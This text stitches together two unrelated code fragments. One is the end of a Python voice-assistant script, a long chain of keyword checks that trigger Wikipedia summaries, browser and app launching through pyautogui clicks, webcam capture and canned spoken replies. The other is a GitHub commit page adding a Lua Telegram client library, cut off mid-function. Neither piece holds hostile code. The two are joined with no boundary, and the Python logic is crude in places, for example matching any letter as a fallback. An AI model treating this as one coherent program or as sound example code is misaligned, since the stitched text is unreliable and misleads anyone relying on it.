complete answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't gave me correct answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't giving me correct answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't given me correct answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'amazon' in query: webbrowser.open('https://www.amazon.com') time.sleep(10) elif 'facebook' in query: webbrowser.open('https://www.facebook.com') time.sleep(10) elif 'youtube' in query: webbrowser.open('https://www.youtube.com') time.sleep(10) elif 'shapeyou' in query: webbrowser.open('https://www.shapeyou.com') time.sleep(10) elif 'information about ' in query or 'informtion of ' in query: try: #speak('Searching wikipedia...') query = query.replace("information about","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I unable to answer your question.') elif 'information' in query: try: speak('Information about what?') query = takeCommand().lower() #speak('Searching wikipedia...') query = query.replace("information","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am not able to answer your question.') elif 'something about ' in query: try: #speak('Searching wikipedia...') query = query.replace("something about ","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I unable to answer your question.') elif 'tell me about ' in query: try: #speak('Searching wikipedia...') query = query.replace("tell me about ","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') elif 'tell me ' in query: try: query = query.replace("tell me ","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am not able to answer your question.') elif 'tell me' in query: try: speak('about what?') query = takeCommand().lower() #speak('Searching wikipedia...') query = query.replace("about","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am not able to answer your question.') elif 'meaning of ' in query: try: #speak('Searching wikipedia...') query = query.replace("meaning of ","") results = wikipedia.summary(query, sentences=2) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') elif 'meaning' in query: try: speak('meaning of what?') query = takeCommand().lower() query = query.replace("meaning of","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') elif 'means' in query: try: #speak('Searching wikipedia...') query = query.replace("it means","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I unable to answer your question.') elif 'want to know ' in query: try: #speak('Searching wikipedia...') query = query.replace("I want to know that","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') status = 'Not answered' elif 'want to ask ' in query: try: #speak('Searching wikipedia...') query = query.replace("I want to ask you ","") results = wikipedia.summary(query, sentences=2) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') elif 'you know ' in query: try: #speak('Searching wikipedia...') query = query.replace("you know","") results = wikipedia.summary(query, sentences=2) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') elif 'alarm' in query: alarm() elif 'bharat mata ki' in query: speak('jay') elif 'kem chhe' in query: speak('majaama') elif 'namaskar' in query: speak('Namaskaar') elif 'jo bole so nihal' in query: speak('sat shri akaal') elif 'jay hind' in query: speak('jay bhaarat') elif 'jai hind' in query: speak('jay bhaarat') elif 'how is the josh' in query: speak('high high sir') elif 'hip hip' in query: speak('Hurreh') elif 'help' in query: speak('I will try my best to help you if I have solution of your problem.') elif 'follow' in query: speak('Ok sir') elif 'having illness' in query: speak('Take care and get well soon') elif 'today is my birthday' in query: speak('many many happy returns of the day. Happy birthday.') print("🎂🎂 Happy Birthday 🎂🎂") elif 'you are awesome' in query: speak('Thank you sir. It is because of artificial intelligence which had learnt by humans.') elif 'you are great' in query: speak('Thank you sir. It is because of artificial intelligence which had learnt by humans.') elif 'tu kaun hai' in query: speak('Meraa naam akshu2020 haai.') elif 'you speak' in query: speak('Yes, I can speak with you.') elif 'speak with ' in query: speak('Yes, I can speak with you.') elif 'hare ram' in query or 'hare krishna' in query: speak('Haare raama , haare krishnaa, krishnaa krishnaa , haare haare') elif 'ganpati' in query: speak('Ganpati baappa moryaa!') elif 'laugh' in query: speak('hehehehe,haahaahaa,hehehehe,haahaahaa,hehehehe,haahaahaa') print('😂🤣') elif 'genius answer' in query: speak('No problem') elif 'you' in query and 'intelligent' in query: speak('Thank you sir') elif ' into' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif ' power' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'whatsapp' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('whatsapp') pyautogui.press('enter') speak('Do you want to send message to anyone through whatsapp, .....please answer in yes or no') whatsapp() elif 'wh' in query or 'how' in query: url = "https://www.google.co.in/search?q=" +(str(query))+ "&oq="+(str(query))+"&gs_l=serp.12..0i71l8.0.0.0.6391.0.0.0.0.0.0.0.0..0.0....0...1c..64.serp..0.0.0.UiQhpfaBsuU" webbrowser.open_new(url) time.sleep(2) speak('Here is your answer') time.sleep(5) elif 'piano' in query: speak('Yes sir, I can play piano.') winsound.Beep(200,500) winsound.Beep(250,500) winsound.Beep(300,500) winsound.Beep(350,500) winsound.Beep(400,500) winsound.Beep(450,500) winsound.Beep(500,500) winsound.Beep(550,500) time.sleep(6) elif 'play' in query and 'instru' in query: speak('Yes sir, I can play piano.') winsound.Beep(200,500) winsound.Beep(250,500) winsound.Beep(300,500) winsound.Beep(350,500) winsound.Beep(400,500) winsound.Beep(450,500) winsound.Beep(500,500) winsound.Beep(550,500) time.sleep(6) elif 'play' in query or 'turn on' in query and ('music' in query or 'song' in query) : try: music_dir = 'C:\\Users\\Admin\\Music\\Playlists' songs = os.listdir(music_dir) print(songs) os.startfile(os.path.join(music_dir, songs[0])) except Exception as e: #print(e) speak('Sorry sir, I am not able to play music') elif (('open' in query or 'turn on' in query) and 'camera' in query) or (('click' in query or 'take' in query) and ('photo' in query or 'pic' in query)): speak("Opening camera") cam = cv2.VideoCapture(0) cv2.namedWindow("test") img_counter = 0 speak('say click, to click photo.....and if you want to turn off the camera, say turn off the camera') while True: ret, frame = cam.read() if not ret: print("failed to grab frame") speak('failed to grab frame') break cv2.imshow("test", frame) query = takeCommand().lower() k = cv2.waitKey(1) if 'click' in query or ('take' in query and 'photo' in query): speak('Be ready!...... 3.....2........1..........') pyautogui.press('space') img_name = "opencv_frame_{}.png".format(img_counter) cv2.imwrite(img_name, frame) print("{} written!".format(img_name)) speak('{} written!'.format(img_name)) img_counter += 1 elif 'escape' in query or 'off' in query or 'close' in query: pyautogui.press('esc') print("Escape hit, closing...") speak('Turning off the camera') break elif k%256 == 27: # ESC pressed print("Escape hit, closing...") break elif k%256 == 32: # SPACE pressed img_name = "opencv_frame_{}.png".format(img_counter) cv2.imwrite(img_name, frame) print("{} written!".format(img_name)) speak('{} written!'.format(img_name)) img_counter += 1 elif 'exit' in query or 'stop' in query or 'bye' in query: speak('Please say, turn off the camera or press escape button before giving any other command') else: speak('I did not understand what did you say or you entered a wrong key.') cam.release() cv2.destroyAllWindows() elif 'screenshot' in query: speak('Please go on the screen whose screenshot you want to take, after 5 seconds I will take screenshot') time.sleep(4) speak('Taking screenshot....3........2.........1.......') pyautogui.screenshot('screenshot_by_rayen2020.png') speak('The screenshot is saved as screenshot_by_rayen2020.png') elif 'click' in query and 'start' in query: pyautogui.moveTo(10,1200) pyautogui.click() elif ('open' in query or 'click' in query) and 'calendar' in query: pyautogui.moveTo(1800,1200) pyautogui.click() elif 'minimise' in query and 'screen' in query: pyautogui.moveTo(1770,0) pyautogui.click() elif 'increase' in query and ('volume' in query or 'sound' in query): pyautogui.press('volumeup') elif 'decrease' in query and ('volume' in query or 'sound' in query): pyautogui.press('volumedown') elif 'capslock' in query or ('caps' in query and 'lock' in query): pyautogui.press('capslock') elif 'mute' in query: pyautogui.press('volumemute') elif 'search' in query and ('bottom' in query or 'pc' in query or 'laptop' in query or 'app' in query): pyautogui.moveTo(250,1200) pyautogui.click() speak('What do you want to search?') query = takeCommand().lower() pyautogui.write(f'{query}') pyautogui.press('enter') elif ('check' in query or 'tell' in query or 'let me know' in query) and 'website' in query and (('up' in query or 'working' in query) or 'down' in query): speak('Paste the website in input to know it is up or down') check_website_status = input("Paste the website here: ") try: status = urllib.request.urlopen(f"{check_website_status}").getcode() if status == 200: print('Website is up, you can open it.') speak('Website is up, you can open it.') else: print('Website is down, or no any website is available of this name.') speak('Website is down, or no any website is available of this name.') except: speak('URL not found') elif ('go' in query or 'open' in query) and 'settings' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('settings') pyautogui.press('enter') elif 'close' in query and ('click' in query or 'window' in query): pyautogui.moveTo(1885,10) speak('Should I close this window?') query = takeCommand().lower() close_window() elif 'night light' in query and ('on' in query or 'off' in query or 'close' in query): pyautogui.moveTo(1880,1050) pyautogui.click() time.sleep(1) pyautogui.moveTo(1840,620) pyautogui.click() pyautogui.moveTo(1880,1050) pyautogui.click() elif 'notification' in query and ('show' in query or 'click' in query or 'open' in query or 'close' in query or 'on' in query or 'off' in query or 'icon' in query or 'pc' in query or 'laptop' in query): pyautogui.moveTo(1880,1050) pyautogui.click() elif ('increase' in query or 'decrease' in query or 'change' in query or 'minimize' in query or 'maximize' in query) and 'brightness' in query: speak('At what percent should I kept the brightness, 25, 50, 75 or 100?') brightness() elif '-' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif 'open' in query: if 'gallery' in query or 'photo' in query or 'image' in query or 'pic' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('photo') pyautogui.press('enter') elif 'proteus' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('proteus') pyautogui.press('enter') elif 'word' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('word') pyautogui.press('enter') elif ('power' in query and 'point' in query) or 'presntation' in query or 'ppt' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('ppt') pyautogui.press('enter') elif 'file' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('file') pyautogui.press('enter') elif 'edge' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('microsoft edge') pyautogui.press('enter') elif 'wps' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('wps office') pyautogui.press('enter') elif 'spyder' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('spyder') pyautogui.press('enter') elif 'snip' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('snip') pyautogui.press('enter') elif 'pycharm' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('pycharm') pyautogui.press('enter') elif 'this pc' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('this pc') pyautogui.press('enter') elif 'scilab' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('sciab') pyautogui.press('enter') elif 'autocad' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('autocad') pyautogui.press('enter') elif 'obs' in query and 'studio' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('OBS Studio') pyautogui.press('enter') elif 'android' in query and 'studio' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('android studio') pyautogui.press('enter') elif ('vs' in query or 'visual studio' in query) and 'code' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('visual studio code') pyautogui.press('enter') elif 'code' in query and 'block' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('codeblocks') pyautogui.press('enter') elif 'me the answer' in query: speak('Yes sir, I will try my best to answer you.') elif 'me answer' in query or ('answer' in query and 'question' in query): speak('Yes sir, I will try my best to answer you.') elif 'map' in query: webbrowser.open('https://www.google.com/maps') time.sleep(10) elif 'can you' in query or 'could you' in query: speak('I will try my best if I can do that.') elif 'do you' in query: speak('I will try my best if I can do that.') elif 'truth' in query: speak('I always speak truth. I never lie.') elif 'true' in query: speak('I always speak truth. I never lie.') elif 'lying' in query: speak('I always speak truth. I never lie.') elif 'liar' in query: speak('I always speak truth. I never lie.') elif 'doubt' in query: speak('I will try my best if I can clear your doubt.') elif ' by' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif 'hii' in query: speak('hii sir') elif 'hey' in query: speak('hello sir') elif 'hai' in query: speak('hello sir') elif 'hay' in query: speak('hello sir') elif 'hi' in query: speak('hii Sir') elif 'hello' in query: speak('hello Sir!') elif 'kon' in query and 'aahe' in query: speak('Me eka robot aahee sir. Maazee naav akshu2020 aahee.') elif 'nonsense' in query: speak("I'm sorry sir") elif 'mad' in query: speak("I'm sorry sir") elif 'shut up' in query: speak("I'm sorry sir") elif 'nice' in query: speak('Thank you sir') elif 'good' in query or 'wonderful' in query or 'great' in query: speak('Thank you sir') elif 'excellent' in query: speak('Thank you sir') elif 'ok' in query: speak('Hmmmmmm') elif 'akshu 2020' in query: speak('yes sir') elif len(query) >= 200: speak('Your voice is pretty good!') elif ' ' in query: try: #query = query.replace("what is ","") results = wikipedia.summary(query, sentences=3) print(results) speak(results) except Exception as e: speak('I unable to answer your question.') elif 'a' in query or 'b' in query or 'c' in query or 'd' in query or 'e' in query or 'f' in query or 'g' in query or 'h' in query or 'i' in query or 'j' in query or 'k' in query or 'l' in query or 'm' in query or 'n' in query or 'o' in query or 'p' in query or 'q' in query or 'r' in query or 's' in query or 't' in query or 'u' in query or 'v' in query or 'w' in query or 'x' in query or 'y' in query or 'z' in query: try: results = wikipedia.summary(query, sentences = 2) print(results) speak(results) except Exception as e: speak('I unable to answer your question. ') else: speak('I unable to give answer of your question')
arashstar1 / Bot LuaCode Issues 0 Pull requests 0 Pulse MaTaDoR/ 3233fdf V 5.7 MaTaDoR @MaTaDoRTeaMMaTaDoRTeaM committed on GitHub about 1 month ago 2 changed files 2,704 additions and 0 deletions cli/tg/tdcli.lua @@ -0,0 +1,2704 @@ +--[[ + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, + MA 02110-1301, USA. + +]]-- + +-- Vector example form is like this: {[0] = v} or {v1, v2, v3, [0] = v} +-- If false or true crashed your telegram-cli, try to change true to 1 and false to 0 + +-- Main Bot Framework +local M = {} + +-- @chat_id = user, group, channel, and broadcast +-- @group_id = normal group +-- @channel_id = channel and broadcast +local function getChatId(chat_id) + local chat = {} + local chat_id = tostring(chat_id) + + if chat_id:match('^-100') then + local channel_id = chat_id:gsub('-100', '') + chat = {ID = channel_id, type = 'channel'} + else + local group_id = chat_id:gsub('-', '') + chat = {ID = group_id, type = 'group'} + end + + return chat +end + +local function getInputFile(file) + if file:match('/') then + infile = {ID = "InputFileLocal", path_ = file} + elseif file:match('^%d+$') then + infile = {ID = "InputFileId", id_ = file} + else + infile = {ID = "InputFilePersistentId", persistent_id_ = file} + end + + return infile +end + +-- User can send bold, italic, and monospace text uses HTML or Markdown format. +local function getParseMode(parse_mode) + if parse_mode then + local mode = parse_mode:lower() + + if mode == 'markdown' or mode == 'md' then + P = {ID = "TextParseModeMarkdown"} + elseif mode == 'html' then + P = {ID = "TextParseModeHTML"} + end + end + + return P +end + +-- Returns current authorization state, offline request +local function getAuthState(dl_cb, cmd) + tdcli_function ({ + ID = "GetAuthState", + }, dl_cb, cmd) +end + +M.getAuthState = getAuthState + +-- Sets user's phone number and sends authentication code to the user. +-- Works only when authGetState returns authStateWaitPhoneNumber. +-- If phone number is not recognized or another error has happened, returns an error. Otherwise returns authStateWaitCode +-- @phone_number User's phone number in any reasonable format +-- @allow_flash_call Pass True, if code can be sent via flash call to the specified phone number +-- @is_current_phone_number Pass true, if the phone number is used on the current device. Ignored if allow_flash_call is False +local function setAuthPhoneNumber(phone_number, allow_flash_call, is_current_phone_number, dl_cb, cmd) + tdcli_function ({ + ID = "SetAuthPhoneNumber", + phone_number_ = phone_number, + allow_flash_call_ = allow_flash_call, + is_current_phone_number_ = is_current_phone_number + }, dl_cb, cmd) +end + +M.setAuthPhoneNumber = setAuthPhoneNumber + +-- Resends authentication code to the user. +-- Works only when authGetState returns authStateWaitCode and next_code_type of result is not null. +-- Returns authStateWaitCode on success +local function resendAuthCode(dl_cb, cmd) + tdcli_function ({ + ID = "ResendAuthCode", + }, dl_cb, cmd) +end + +M.resendAuthCode = resendAuthCode + +-- Checks authentication code. +-- Works only when authGetState returns authStateWaitCode. +-- Returns authStateWaitPassword or authStateOk on success +-- @code Verification code from SMS, Telegram message, voice call or flash call +-- @first_name User first name, if user is yet not registered, 1-255 characters +-- @last_name Optional user last name, if user is yet not registered, 0-255 characters +local function checkAuthCode(code, first_name, last_name, dl_cb, cmd) + tdcli_function ({ + ID = "CheckAuthCode", + code_ = code, + first_name_ = first_name, + last_name_ = last_name + }, dl_cb, cmd) +end + +M.checkAuthCode = checkAuthCode + +-- Checks password for correctness. +-- Works only when authGetState returns authStateWaitPassword. +-- Returns authStateOk on success +-- @password Password to check +local function checkAuthPassword(password, dl_cb, cmd) + tdcli_function ({ + ID = "CheckAuthPassword", + password_ = password + }, dl_cb, cmd) +end + +M.checkAuthPassword = checkAuthPassword + +-- Requests to send password recovery code to email. +-- Works only when authGetState returns authStateWaitPassword. +-- Returns authStateWaitPassword on success +local function requestAuthPasswordRecovery(dl_cb, cmd) + tdcli_function ({ + ID = "RequestAuthPasswordRecovery", + }, dl_cb, cmd) +end + +M.requestAuthPasswordRecovery = requestAuthPasswordRecovery + +-- Recovers password with recovery code sent to email. +-- Works only when authGetState returns authStateWaitPassword. +-- Returns authStateOk on success +-- @recovery_code Recovery code to check +local function recoverAuthPassword(recovery_code, dl_cb, cmd) + tdcli_function ({ + ID = "RecoverAuthPassword", + recovery_code_ = recovery_code + }, dl_cb, cmd) +end + +M.recoverAuthPassword = recoverAuthPassword + +-- Logs out user. +-- If force == false, begins to perform soft log out, returns authStateLoggingOut after completion. +-- If force == true then succeeds almost immediately without cleaning anything at the server, but returns error with code 401 and description "Unauthorized" +-- @force If true, just delete all local data. Session will remain in list of active sessions +local function resetAuth(force, dl_cb, cmd) + tdcli_function ({ + ID = "ResetAuth", + force_ = force or nil + }, dl_cb, cmd) +end + +M.resetAuth = resetAuth + +-- Check bot's authentication token to log in as a bot. +-- Works only when authGetState returns authStateWaitPhoneNumber. +-- Can be used instead of setAuthPhoneNumber and checkAuthCode to log in. +-- Returns authStateOk on success +-- @token Bot token +local function checkAuthBotToken(token, dl_cb, cmd) + tdcli_function ({ + ID = "CheckAuthBotToken", + token_ = token + }, dl_cb, cmd) +end + +M.checkAuthBotToken = checkAuthBotToken + +-- Returns current state of two-step verification +local function getPasswordState(dl_cb, cmd) + tdcli_function ({ + ID = "GetPasswordState", + }, dl_cb, cmd) +end + +M.getPasswordState = getPasswordState + +-- Changes user password. +-- If new recovery email is specified, then error EMAIL_UNCONFIRMED is returned and password change will not be applied until email confirmation. +-- Application should call getPasswordState from time to time to check if email is already confirmed +-- @old_password Old user password +-- @new_password New user password, may be empty to remove the password +-- @new_hint New password hint, can be empty +-- @set_recovery_email Pass True, if recovery email should be changed +-- @new_recovery_email New recovery email, may be empty +local function setPassword(old_password, new_password, new_hint, set_recovery_email, new_recovery_email, dl_cb, cmd) + tdcli_function ({ + ID = "SetPassword", + old_password_ = old_password, + new_password_ = new_password, + new_hint_ = new_hint, + set_recovery_email_ = set_recovery_email, + new_recovery_email_ = new_recovery_email + }, dl_cb, cmd) +end + +M.setPassword = setPassword + +-- Returns set up recovery email. +-- This method can be used to verify a password provided by the user +-- @password Current user password +local function getRecoveryEmail(password, dl_cb, cmd) + tdcli_function ({ + ID = "GetRecoveryEmail", + password_ = password + }, dl_cb, cmd) +end + +M.getRecoveryEmail = getRecoveryEmail + +-- Changes user recovery email. +-- If new recovery email is specified, then error EMAIL_UNCONFIRMED is returned and email will not be changed until email confirmation. +-- Application should call getPasswordState from time to time to check if email is already confirmed. +-- If new_recovery_email coincides with the current set up email succeeds immediately and aborts all other requests waiting for email confirmation +-- @password Current user password +-- @new_recovery_email New recovery email +local function setRecoveryEmail(password, new_recovery_email, dl_cb, cmd) + tdcli_function ({ + ID = "SetRecoveryEmail", + password_ = password, + new_recovery_email_ = new_recovery_email + }, dl_cb, cmd) +end + +M.setRecoveryEmail = setRecoveryEmail + +-- Requests to send password recovery code to email +local function requestPasswordRecovery(dl_cb, cmd) + tdcli_function ({ + ID = "RequestPasswordRecovery", + }, dl_cb, cmd) +end + +M.requestPasswordRecovery = requestPasswordRecovery + +-- Recovers password with recovery code sent to email +-- @recovery_code Recovery code to check +local function recoverPassword(recovery_code, dl_cb, cmd) + tdcli_function ({ + ID = "RecoverPassword", + recovery_code_ = tostring(recovery_code) + }, dl_cb, cmd) +end + +M.recoverPassword = recoverPassword + +-- Returns current logged in user +local function getMe(dl_cb, cmd) + tdcli_function ({ + ID = "GetMe", + }, dl_cb, cmd) +end + +M.getMe = getMe + +-- Returns information about a user by its identifier, offline request if current user is not a bot +-- @user_id User identifier +local function getUser(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetUser", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.getUser = getUser + +-- Returns full information about a user by its identifier +-- @user_id User identifier +local function getUserFull(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetUserFull", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.getUserFull = getUserFull + +-- Returns information about a group by its identifier, offline request if current user is not a bot +-- @group_id Group identifier +local function getGroup(group_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetGroup", + group_id_ = getChatId(group_id).ID + }, dl_cb, cmd) +end + +M.getGroup = getGroup + +-- Returns full information about a group by its identifier +-- @group_id Group identifier +local function getGroupFull(group_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetGroupFull", + group_id_ = getChatId(group_id).ID + }, dl_cb, cmd) +end + +M.getGroupFull = getGroupFull + +-- Returns information about a channel by its identifier, offline request if current user is not a bot +-- @channel_id Channel identifier +local function getChannel(channel_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetChannel", + channel_id_ = getChatId(channel_id).ID + }, dl_cb, cmd) +end + +M.getChannel = getChannel + +-- Returns full information about a channel by its identifier, cached for at most 1 minute +-- @channel_id Channel identifier +local function getChannelFull(channel_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetChannelFull", + channel_id_ = getChatId(channel_id).ID + }, dl_cb, cmd) +end + +M.getChannelFull = getChannelFull + +-- Returns information about a secret chat by its identifier, offline request +-- @secret_chat_id Secret chat identifier +local function getSecretChat(secret_chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetSecretChat", + secret_chat_id_ = secret_chat_id + }, dl_cb, cmd) +end + +M.getSecretChat = getSecretChat + +-- Returns information about a chat by its identifier, offline request if current user is not a bot +-- @chat_id Chat identifier +local function getChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.getChat = getChat + +-- Returns information about a message +-- @chat_id Identifier of the chat, message belongs to +-- @message_id Identifier of the message to get +local function getMessage(chat_id, message_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetMessage", + chat_id_ = chat_id, + message_id_ = message_id + }, dl_cb, cmd) +end + +M.getMessage = getMessage + +-- Returns information about messages. +-- If message is not found, returns null on the corresponding position of the result +-- @chat_id Identifier of the chat, messages belongs to +-- @message_ids Identifiers of the messages to get +local function getMessages(chat_id, message_ids, dl_cb, cmd) + tdcli_function ({ + ID = "GetMessages", + chat_id_ = chat_id, + message_ids_ = message_ids -- vector + }, dl_cb, cmd) +end + +M.getMessages = getMessages + +-- Returns information about a file, offline request +-- @file_id Identifier of the file to get +local function getFile(file_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetFile", + file_id_ = file_id + }, dl_cb, cmd) +end + +M.getFile = getFile + +-- Returns information about a file by its persistent id, offline request +-- @persistent_file_id Persistent identifier of the file to get +local function getFilePersistent(persistent_file_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetFilePersistent", + persistent_file_id_ = persistent_file_id + }, dl_cb, cmd) +end + +M.getFilePersistent = getFilePersistent + +-- Returns list of chats in the right order, chats are sorted by (order, chat_id) in decreasing order. +-- For example, to get list of chats from the beginning, the offset_order should be equal 2^63 - 1 +-- @offset_order Chat order to return chats from +-- @offset_chat_id Chat identifier to return chats from +-- @limit Maximum number of chats to be returned +local function getChats(offset_order, offset_chat_id, limit, dl_cb, cmd) + if not limit or limit > 20 then + limit = 20 + end + + tdcli_function ({ + ID = "GetChats", + offset_order_ = offset_order or 9223372036854775807, + offset_chat_id_ = offset_chat_id or 0, + limit_ = limit + }, dl_cb, cmd) +end + +M.getChats = getChats + +-- Searches public chat by its username. +-- Currently only private and channel chats can be public. +-- Returns chat if found, otherwise some error is returned +-- @username Username to be resolved +local function searchPublicChat(username, dl_cb, cmd) + tdcli_function ({ + ID = "SearchPublicChat", + username_ = username + }, dl_cb, cmd) +end + +M.searchPublicChat = searchPublicChat + +-- Searches public chats by prefix of their username. +-- Currently only private and channel (including supergroup) chats can be public. +-- Returns meaningful number of results. +-- Returns nothing if length of the searched username prefix is less than 5. +-- Excludes private chats with contacts from the results +-- @username_prefix Prefix of the username to search +local function searchPublicChats(username_prefix, dl_cb, cmd) + tdcli_function ({ + ID = "SearchPublicChats", + username_prefix_ = username_prefix + }, dl_cb, cmd) +end + +M.searchPublicChats = searchPublicChats + +-- Searches for specified query in the title and username of known chats, offline request. +-- Returns chats in the order of them in the chat list +-- @query Query to search for, if query is empty, returns up to 20 recently found chats +-- @limit Maximum number of chats to be returned +local function searchChats(query, limit, dl_cb, cmd) + if not limit or limit > 20 then + limit = 20 + end + + tdcli_function ({ + ID = "SearchChats", + query_ = query, + limit_ = limit + }, dl_cb, cmd) +end + +M.searchChats = searchChats + +-- Adds chat to the list of recently found chats. +-- The chat is added to the beginning of the list. +-- If the chat is already in the list, at first it is removed from the list +-- @chat_id Identifier of the chat to add +local function addRecentlyFoundChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "AddRecentlyFoundChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.addRecentlyFoundChat = addRecentlyFoundChat + +-- Deletes chat from the list of recently found chats +-- @chat_id Identifier of the chat to delete +local function deleteRecentlyFoundChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteRecentlyFoundChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.deleteRecentlyFoundChat = deleteRecentlyFoundChat + +-- Clears list of recently found chats +local function deleteRecentlyFoundChats(dl_cb, cmd) + tdcli_function ({ + ID = "DeleteRecentlyFoundChats", + }, dl_cb, cmd) +end + +M.deleteRecentlyFoundChats = deleteRecentlyFoundChats + +-- Returns list of common chats with an other given user. +-- Chats are sorted by their type and creation date +-- @user_id User identifier +-- @offset_chat_id Chat identifier to return chats from, use 0 for the first request +-- @limit Maximum number of chats to be returned, up to 100 +local function getCommonChats(user_id, offset_chat_id, limit, dl_cb, cmd) + if not limit or limit > 100 then + limit = 100 + end + + tdcli_function ({ + ID = "GetCommonChats", + user_id_ = user_id, + offset_chat_id_ = offset_chat_id, + limit_ = limit + }, dl_cb, cmd) +end + +M.getCommonChats = getCommonChats + +-- Returns messages in a chat. +-- Automatically calls openChat. +-- Returns result in reverse chronological order, i.e. in order of decreasing message.message_id +-- @chat_id Chat identifier +-- @from_message_id Identifier of the message near which we need a history, you can use 0 to get results from the beginning, i.e. from oldest to newest +-- @offset Specify 0 to get results exactly from from_message_id or negative offset to get specified message and some newer messages +-- @limit Maximum number of messages to be returned, should be positive and can't be greater than 100. +-- If offset is negative, limit must be greater than -offset. +-- There may be less than limit messages returned even the end of the history is not reached +local function getChatHistory(chat_id, from_message_id, offset, limit, dl_cb, cmd) + if not limit or limit > 100 then + limit = 100 + end + + tdcli_function ({ + ID = "GetChatHistory", + chat_id_ = chat_id, + from_message_id_ = from_message_id, + offset_ = offset or 0, + limit_ = limit + }, dl_cb, cmd) +end + +M.getChatHistory = getChatHistory + +-- Deletes all messages in the chat. +-- Can't be used for channel chats +-- @chat_id Chat identifier +-- @remove_from_chat_list Pass true, if chat should be removed from the chat list +local function deleteChatHistory(chat_id, remove_from_chat_list, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteChatHistory", + chat_id_ = chat_id, + remove_from_chat_list_ = remove_from_chat_list + }, dl_cb, cmd) +end + +M.deleteChatHistory = deleteChatHistory + +-- Searches for messages with given words in the chat. +-- Returns result in reverse chronological order, i. e. in order of decreasimg message_id. +-- Doesn't work in secret chats +-- @chat_id Chat identifier to search in +-- @query Query to search for +-- @from_message_id Identifier of the message from which we need a history, you can use 0 to get results from beginning +-- @limit Maximum number of messages to be returned, can't be greater than 100 +-- @filter Filter for content of searched messages +-- filter = Empty|Animation|Audio|Document|Photo|Video|Voice|PhotoAndVideo|Url|ChatPhoto +local function 